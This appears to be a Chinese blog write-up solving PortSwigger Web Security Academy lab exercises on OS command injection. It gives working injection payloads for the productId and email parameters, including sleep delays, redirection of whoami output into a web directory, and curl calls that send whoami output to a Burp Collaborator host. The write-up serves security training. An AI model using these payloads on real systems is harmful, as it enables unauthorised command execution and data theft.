Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection
OS command injection, simple case
题目描述
环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果
要求运行
whoami来确认当前用户身份
解题过程
先找注入点
找到注入点在选地区,查剩余库存的功能点(check stock)
注入
burp拦截,
productId=3%26echo 123&storeId=2返回123 2,说明存在命令注入
构造payload
productId=3%26whoami&storeId=2,报错,提示多余的操作符2,emmmm,说明会进行2也拼接到了语句里修改
productId=3%26whoami%26echo &storeId=2
Blind OS command injection with time delays
题目描述
在
feedback功能中有命令注入(盲注):用户输入会被执行,但没有返回要求
产生10秒的延时
解题过程
先去搜索了一下linux下的延迟命令
- 找到一个
sleep num[s/m/h/d]
- 找到一个
用burp抓包,经过测试,发现email参数异常,当其中包含有
& | ; %0a `或者它们的url编码时会返回Could not save- 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
尝试
|sleep%2010s|
仍然报错,但是可以看到命令已经成功运行,猜测是管道符
|导致的参数错误再次尝试,
||sleep%20100s||,成功且没有报错
Blind OS command injection with out put redirection
题目描述
- 在
feedback功能点存在命令注入(盲注) /var/www/images/目录有可写权限,并且图片会被加载到商品详情页面- 要求把
whoami的结果重定向到上述目录,并拿到结果
- 在
解题过程
寻找打开图片的接口

/image?filename=xx.jpg
寻找漏洞点
使用上一题的payload,发现漏洞点仍然在email

构造payload并执行
||whoami%20>/var/www/images/1.jpg||利用图片接口,获得结果

Blind OS command injection with out-of-band interaction
题目描述
- 在
feedback功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
- 要求执行一个
DNS lookup,(利用collaborator)
- 在
解题过程
直接构造payload
||curl%20xxx.burpcollaborator.net||即可
但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果
最终的payload:
||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||
在尝试&和yt交流之后,发现以下payload也可以:
a=whoami;curl xxx.xxx/`$a`a=`whoami`;curl xxx.xxx/$a
curl xxx.xxx/`whoami`这样最简单
Blind OS command injection with out-of-band data exfiltration
题目描述
- 在
feedback功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
- 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
- 在
解题过程
直接用上道题最后的payload即可
||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||(更新)
||curl%20xxx.burpcollaborator.net/`whoami`||
Portswigger web security academy:OS command injection的更多相关文章
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- Java面向对象(一些问题)
2. Java 面向对象 2.1. 类和对象 2.1.1. 面向对象和面向过程的区别 面向过程 :面向过程性能比面向对象高. 因为类调用时需要实例化,开销比较大,比较消耗资源,所以当性能是最重要的考量 ...
- Python基础【基本数据类型】
基本数据类型分类 数字 int 字符串 str 列表 list 字典 dict 元祖 tuple ...
- P1085_不高兴的津津(JAVA语言)
package 顺序与分支; /* * 题目描述 津津上初中了.妈妈认为津津应该更加用功学习,所以津津除了上学之外, 还要参加妈妈为她报名的各科复习班.另外每周妈妈还会送她去学习朗诵.舞蹈和钢琴. 但 ...
- 详解 ZooKeeper 数据持久化
本文作者:HelloGitHub-老荀 Hi,这里是 HelloGitHub 推出的 HelloZooKeeper 系列,免费开源.有趣.入门级的 ZooKeeper 教程,面向有编程基础的新手. 项 ...
- Spring工程搭建
创建Maven项目 1.下载Maven资源包 http://maven.apache.org/download.cgi 2.打开IDEA创建Maven项目 在新建项目窗口选择Maven项目:检查当前S ...
- Centos7安装以及设置Redis详细步骤
一.Redis安装: 1.指定文件夹下下载redis安装包: [root@bogon ~]# mkdir /usr/local/soft/redis [root@bogon ~]# cd /usr/l ...
- 庐山真面目之十三微服务架构中如何在Docker上使用Redis缓存
一.介绍 1.开始说明 在微服务器架构中,有一个组件是不能少的,那就是缓存组件.其实来说,缓存组件,这个叫法不是完全正确,因为除了缓存功能,它还能完成其他很多功能.我就不隐瞒了,今天我们要探讨 ...
- 201871030140-朱婷婷 实验三 结对项目—《D{0-1}KP 实例数据集算法实验平台》项目报告
项目 内容 课程班级博客链接 2018级卓越班 这个作业要求链接 实验三 结对项目 我的课程学习目标 1.体验软件项目开发中的两人合作,练习结对编程:2.掌握GitHub协作开发程序的操作方法. 这个 ...
- Windows Server 2016不小心卸载了.NET Framwork4.6后服务器管理器等功能都不能用的解决方案
之前卸载IIS的时候手贱把.NET FrameWork 4.6给卸载了,下面有一个比较简单的恢复方法. 可以尝试一下通过cmd命令DISM启用.NET 4.6:1. 首先运行如下命令查看当前的功能安装 ...
- ES9的新特性:异步遍历Async iteration
ES9的新特性:异步遍历Async iteration 目录 简介 异步遍历 异步iterable的遍历 异步iterable的生成 异步方法和异步生成器 简介 在ES6中,引入了同步iteratio ...